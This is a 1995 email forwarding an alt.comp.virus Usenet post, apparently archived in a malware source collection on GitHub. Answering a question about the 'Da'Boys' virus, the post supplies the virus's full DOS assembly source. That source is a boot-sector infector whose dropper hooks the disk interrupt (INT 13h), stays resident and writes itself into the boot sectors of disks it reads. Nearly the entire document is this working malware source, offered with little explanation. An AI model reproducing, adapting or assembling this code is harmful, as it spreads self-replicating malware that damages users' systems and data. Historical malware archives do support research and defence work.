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https://github.com/vxunderground/MalwareSourceCode
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303 lines
7.3 KiB
NASM
303 lines
7.3 KiB
NASM
From smtp Fri Mar 24 16:17 EST 1995
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Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Fri, 24 Mar 95 16:17 EST
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Received: (from ekilby@localhost) by lynx.dac.neu.edu (8.6.11/8.6.10) id QAA30764 for joshuaw@pobox.jwu.edu; Fri, 24 Mar 1995 16:21:26 -0500
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Date: Fri, 24 Mar 1995 16:21:26 -0500
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From: Eric Kilby <ekilby@lynx.dac.neu.edu>
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Content-Length: 6924
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Content-Type: text
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Message-Id: <199503242121.QAA30764@lynx.dac.neu.edu>
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To: joshuaw@pobox.jwu.edu
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Subject: (fwd) Re: Da'boys viurs, new?
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Newsgroups: alt.comp.virus
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Status: O
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Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.ultranet.com!news.sprintlink.net!cs.utexas.edu!uunet!in1.uu.net!nntp.crl.com!crl9.crl.com!not-for-mail
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From: yojimbo@crl.com (Douglas Mauldin)
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Newsgroups: alt.comp.virus
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Subject: Re: Da'boys viurs, new?
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Date: 23 Mar 1995 23:25:53 -0800
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Organization: CRL Dialup Internet Access (415) 705-6060 [Login: guest]
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Lines: 276
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Message-ID: <3kts61$1a3@crl9.crl.com>
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References: <3kst9u$2u4@crl10.crl.com> <3ktps4$h08@crl6.crl.com>
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NNTP-Posting-Host: crl9.crl.com
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X-Newsreader: TIN [version 1.2 PL2]
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;: does anyone know what this virus does? how dangerous is it
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;: and how do i remove it from my boot sector if the disk is not
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;: a bootable one?
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;From THe QUaRaNTiNE archives: Da'Boys Source-
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;Enjoy...
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cseg segment para public 'code'
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da_boys proc near
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assume cs:cseg
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;-----------------------------------------------------------------------------
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.186
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TRUE equ 001h
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FALSE equ 000h
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;-----------------------------------------------------------------------------
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;option bytes used
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COM4_OFF equ TRUE ; 3 bytes
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DA_BOYS_TEXT equ TRUE ; 6 bytes
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;-----------------------------------------------------------------------------
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ADDR_MUL equ 004h
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BIOS_INT_13 equ 0c6h
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BOOT_INT equ 019h
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BOOT_OFFSET equ 07c00h
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COM4_OFFSET equ 00406h
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COM_OFFSET equ 00100h
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DISK_INT equ 013h
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DOS_GET_INT equ 03500h
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DOS_INT equ 021h
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DOS_SET_INT equ 02500h
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FIRST_SECTOR equ 00001h
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INITIAL_BX equ 00078h
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LOW_CODE equ 0021dh
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NEW_INT_13_LOOP equ 0cdh
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READ_A_SECTOR equ 00201h
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RETURN_NEAR equ 0c3h
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SECTOR_SIZE equ 00200h
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TERMINATE_W_ERR equ 04c00h
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TWO_BYTES equ 002h
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VIRGIN_INT_13_B equ 007b4h
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WRITE_A_SECTOR equ 00301h
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;-----------------------------------------------------------------------------
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io_seg segment at 00070h
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org 00000h
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io_sys_loads_at label word
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io_seg ends
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;-----------------------------------------------------------------------------
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bios_seg segment at 0f000h
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org 09315h
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original_int_13 label word
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bios_seg ends
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;-----------------------------------------------------------------------------
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org COM_OFFSET
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com_code:
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;-----------------------------------------------------------------------------
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dropper proc near
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xor ax,ax
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mov ds,ax
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lds dx,dword ptr ds:[VIRGIN_INT_13_B]
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mov ax,DOS_SET_INT+BIOS_INT_13
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int DOS_INT
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mov dx,offset interrupt_13+LOW_CODE-offset old_jz
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xor ax,ax
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mov ds,ax
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mov ax,DOS_SET_INT+DISK_INT
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int DOS_INT
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mov di,LOW_CODE
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mov si,offset old_jz
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push ds
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pop es
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call move_to_boot
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mov ax,READ_A_SECTOR
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mov cx,FIRST_SECTOR
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mov dx,00180h
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mov bx,offset buffer
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push cs
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pop es
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int DISK_INT
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already_set: mov ax,TERMINATE_W_ERR
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int DOS_INT
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dropper endp
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;-----------------------------------------------------------------------------
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org 00048h+COM_OFFSET
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call initialize
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;-----------------------------------------------------------------------------
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org 000ebh+COM_OFFSET
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old_jz: jz old_code
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;-----------------------------------------------------------------------------
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org 00edh+COM_OFFSET
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;-----------------------------------------------------------------------------
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error: jmp error_will_jmp+LOW_CODE-000ebh-BOOT_OFFSET
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move_to_low: mov si,offset old_jz+BOOT_OFFSET-COM_OFFSET
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xor ax,ax
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move_to_boot: mov cx,offset jmp_old_int_13-offset old_jz+1
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pushf
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cld
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rep movs byte ptr es:[di],cs:[si]
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popf
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ret
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;-----------------------------------------------------------------------------
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old_code: mov ax,word ptr ds:[bx+01ah]
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dec ax
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dec ax
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mov di,BOOT_OFFSET+049h
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mov bl,byte ptr ds:[di-03ch]
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xor bh,bh
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mul bx
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add ax,word ptr ds:[di]
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adc dx,word ptr ds:[di+002h]
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mov bx,00700h
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mov cl,003h
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old_loop: pusha
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call more_old_code
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popa
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jc error
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add ax,0001h
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adc dx,00h
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add bx,word ptr ds:[di-03eh]
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loop old_loop
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mov ch,byte ptr ds:[di-034h]
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mov dl,byte ptr ds:[di-025h]
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mov bx,word ptr ds:[di]
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mov ax,word ptr ds:[di+002h]
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jmp far ptr io_sys_loads_at
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;-----------------------------------------------------------------------------
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initialize: mov bx,INITIAL_BX
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mov di,LOW_CODE
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push ss
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pop ds
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jmp short set_interrupts
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;-----------------------------------------------------------------------------
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error_will_jmp: mov bx,BOOT_OFFSET
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IF DA_BOYS_TEXT
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db 'DA',027h,'BOYS'
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ELSE
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push bx
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ENDIF
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mov ax,00100h
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mov dx,08000h
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load_from_disk: mov cx,ax
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mov ax,READ_A_SECTOR
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xchg ch,cl
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xchg dh,dl
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int DISK_INT
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ret
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;-----------------------------------------------------------------------------
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org 00160h+COM_OFFSET
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;-----------------------------------------------------------------------------
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more_old_code: mov si,BOOT_OFFSET+018h
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cmp dx,word ptr ds:[si]
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jnb stc_return
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div word ptr ds:[si]
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inc dl
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mov ch,dl
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xor dx,dx
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IF COM4_OFF
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mov word ptr ds:[COM4_OFFSET],dx
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ENDIF
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div word ptr ds:[si+002h]
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mov dh,byte ptr ds:[si+00ch]
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shl ah,006h
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or ah,ch
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jmp short load_from_disk
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stc_return: stc
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ret
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;-----------------------------------------------------------------------------
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org 0181h+COM_OFFSET
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ret
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;-----------------------------------------------------------------------------
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restart_it: int BOOT_INT
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;-----------------------------------------------------------------------------
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set_interrupts: cmp word ptr ds:[di],ax
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jne is_resident
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mov word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL+TWO_BYTES],ax
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xchg word ptr ds:[bx+(DISK_INT*ADDR_MUL+TWO_BYTES)-INITIAL_BX],ax
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mov word ptr ds:[BIOS_INT_13*ADDR_MUL+TWO_BYTES],ax
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mov ax,offset interrupt_13+LOW_CODE-offset old_jz
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mov word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL],ax
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xchg word ptr ds:[bx+(DISK_INT*ADDR_MUL)-INITIAL_BX],ax
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mov word ptr ds:[BIOS_INT_13*ADDR_MUL],ax
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is_resident: jmp move_to_low
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;-----------------------------------------------------------------------------
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interrupt_13 proc far
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cmp ah,high(READ_A_SECTOR)
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jne jmp_old_int_13
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cmp cx,FIRST_SECTOR
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jne jmp_old_int_13
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cmp dh,cl
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ja jmp_old_int_13
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pusha
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int BIOS_INT_13
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jc not_boot_sect
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mov ax,0efe8h
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xchg word ptr es:[bx+048h],ax
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cmp ax,078bbh
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jne not_boot_sect
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mov di,bx
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add di,offset old_jz-COM_OFFSET
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cmp bh,high(BOOT_OFFSET)
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pushf
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jne no_key_press
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mov byte ptr es:[di+00ch],RETURN_NEAR
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pusha
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call near ptr hit_any_key
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popa
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no_key_press: mov ax,WRITE_A_SECTOR
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mov si,LOW_CODE
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call move_to_boot
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inc cx
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int BIOS_INT_13
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popf
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je restart_it
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not_boot_sect: popa
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interrupt_13 endp
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;-----------------------------------------------------------------------------
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org 001e5h+COM_OFFSET
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jmp_old_int_13: jmp far ptr original_int_13
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;-----------------------------------------------------------------------------
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buffer db SECTOR_SIZE dup (0)
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;-----------------------------------------------------------------------------
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org 07cedh-LOW_CODE+offset old_jz
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hit_any_key label word
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;-----------------------------------------------------------------------------
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da_boys endp
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cseg ends
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end com_code
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